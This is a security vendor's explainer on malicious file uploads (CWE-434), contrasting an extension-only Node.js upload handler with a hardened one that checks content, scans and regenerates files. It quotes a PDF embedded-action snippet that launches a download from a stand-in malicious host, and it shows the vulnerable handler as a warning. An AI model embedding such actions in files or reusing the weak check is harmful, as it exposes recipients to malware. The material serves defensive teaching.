Uploading malicious files is possible
CWE-434CWE-646OWASP A04:2021Updated September 4, 20264 min read
An upload function where files are shared or later opened by staff can be used to distribute malware. The server itself runs no risk, but your platform becomes the carrier and your domain name supplies the credibility. A PDF with an embedded action is the most common vehicle.
With an upload function, attention usually goes to whether something can be executed on the server. There is a second risk unrelated to your infrastructure: your platform can be used to distribute harmful files, with your domain name playing the part of trusted sender. This article covers how that unfolds and what to do about it.
What is the risk of uploaded files?
We speak of uploading malicious files when an application accepts files that are later opened by people, without the content being assessed. The server itself executes nothing; the file is stored neatly and served back neatly. The risk sits with the recipient.
That makes this finding fundamentally different from an unrestricted file upload leading to code execution. There, your server is the target. Here, your application is the carrier, and the damage falls on your staff, your customers or on third parties.
The difference resembles a postal company. One risk is that something detonates in the sorting centre; the other is that the parcel is delivered neatly and only opens at the recipient. In the second case there is nothing wrong with your process, except that you did not look at what you were carrying.
How does such an infection spread?
Vulnerable:
// Only the extension is checked; the content is not
const ALLOWED = ['.pdf', '.docx', '.xlsx'];
app.post('/request/attachment', upload.single('file'), async (req, res) => {
const ext = path.extname(req.file.originalname).toLowerCase();
if (!ALLOWED.includes(ext)) return res.status(400).send('Type not permitted');
await attachments.store({
name: req.file.originalname,
path: req.file.path,
request: req.body.requestId,
});
res.send('Attachment added');
});
The extension is correct and the file really is a PDF. Only that PDF contains an embedded action:
/OpenAction << /S /JavaScript /JS (
app.launchURL("https://malicious.example/invoice-2026.exe", true);
) >>
This is a valid PDF file that passes every check on extension and on actual file type. When an employee opens the attachment to review the request, the reader attempts to run the action. Depending on the reader and its settings a warning appears, but it concerns an attachment from your own system, attached to a request the employee is handling themselves. That is a considerably more favourable starting position than an attachment on an email from a stranger.
Safe:
app.post('/request/attachment', upload.single('file'), async (req, res) => {
const type = await detectTypeFromContent(req.file.path);
if (!['application/pdf'].includes(type?.mime)) {
await fs.promises.unlink(req.file.path);
return res.status(400).send('PDF files only');
}
const scan = await virusScanner.check(req.file.path);
if (!scan.clean) {
await fs.promises.unlink(req.file.path);
await alerts.send('suspicious upload', { user: req.user.id });
return res.status(400).send('File rejected');
}
// Regenerate: embedded actions and scripts do not survive this
const name = `${randomUUID()}.pdf`;
await sanitisePdf(req.file.path, `/var/storage/${name}`);
await fs.promises.unlink(req.file.path);
await attachments.store({
id: name,
displayName: cleanName(req.file.originalname),
request: req.body.requestId,
uploadedBy: req.user.id,
});
res.json({ ok: true });
});
Three layers complement each other. The type is determined from the content rather than the name. The file is scanned for known harmful content. And the file is regenerated, which removes embedded actions and scripts regardless of whether the scanner recognised them, which is the measure that also works against unknown variants.
invoice.exe appears in an overview as a PDF. Show a cleaned name and store the file under an identifier you generate.What is the impact of malicious file uploads?
The severity runs from medium to high, depending on who opens the files and with what rights. The damage falls outside your application, which does not make the finding lighter but does make it harder to spot.
The most likely route affects your own organisation. Uploads are reviewed by staff: a request with an attachment, a job application with a CV, a claim with photographs. Those employees open dozens of such files a day and treat them as part of their work. If one succeeds there, the attacker is on a workstation inside your network, with the rights of someone who has access to your customer systems.
The second route affects third parties. Files that others can retrieve turn your platform into a distribution channel, with your domain name and certificate as proof of trustworthiness. That is a reputational risk and can lead to your domain being flagged as harmful by security vendors, with consequences for your legitimate traffic.
How do you detect malicious file uploads?
A tester first establishes what acceptance rests on: the extension, the declared content type, or the actual content. That is determined by offering a file where those three do not agree.
Next they check whether the content is assessed. For that they use a harmless test file every scanner recognises; if it passes unhindered, no scanning takes place. They also test whether files are regenerated, since a PDF with an embedded action still present after upload shows the original is kept. Beyond that they look at how the filename is displayed, whether there is a limit on file size, and whether the files are served from the same domain. AssistSec assesses the whole process, including who ultimately opens the files, because that is what determines how heavily this finding weighs.
How do you prevent malicious file uploads?
- Determine the file type from the actual content and not from the extension or declared type.
- Scan uploads with a virus scanner, as an additional layer and not as the only measure.
- Regenerate files where possible: resize images and sanitise PDF files.
- Store files under a name you generate and display a cleaned name.
- Serve files with
Content-Disposition: attachmentand from a separate domain. - Limit file size and the number of uploads per user.
- Record who uploaded which file, so abuse is traceable.
- Warn staff that attachments from your own system are not automatically trustworthy.
- Open uploads preferably in a sandboxed viewer rather than in a local application.
Sources
Frequently asked questions
Is this my problem if the file is opened elsewhere?
Yes. You deliver the file and your domain name gives it the credibility that makes the attack effective. It also frequently hits your own staff, who review uploads as part of their work and are less suspicious than with an attachment from outside.
Why are PDF files so suitable?
Because they are considered safe and are opened everywhere. The format supports embedded JavaScript, automatically triggered actions and links, and many readers act on those. A PDF raises no suspicion, and that is exactly what an attacker wants.
Is a virus scanner enough?
No, but it belongs in the mix. A scanner recognises known variants and misses targeted or new files. Combine it with regenerating files, with restrictions on what may be uploaded, and with a separate storage location.
What does regenerating a file mean?
That you read the content and create a new file from it instead of keeping the original. For an image, resizing produces a clean file; for a PDF, a conversion can remove the embedded actions. Whatever was in it does not survive that step.
Related articles
- VulnerabilitiesCWE-434A04:2021Unrestricted file uploadAn upload function without restrictions can lead to code execution on your server. Learn which checks are needed and which are not enough.
- VulnerabilitiesCWE-20A04:2021Input validation missing on the serverValidation that only happens in JavaScript can be bypassed with one direct request. Learn why the server must check every value again.
- VulnerabilitiesCWE-430A05:2021MIME sniffing not disabledWithout X-Content-Type-Options the browser may guess what a file is. Learn how an uploaded image can end up running as script.
- VulnerabilitiesCWE-79A03:2021Cross-site scripting through file uploadAn uploaded SVG or HTML served from your own domain runs script within your origin. Learn how to close that off.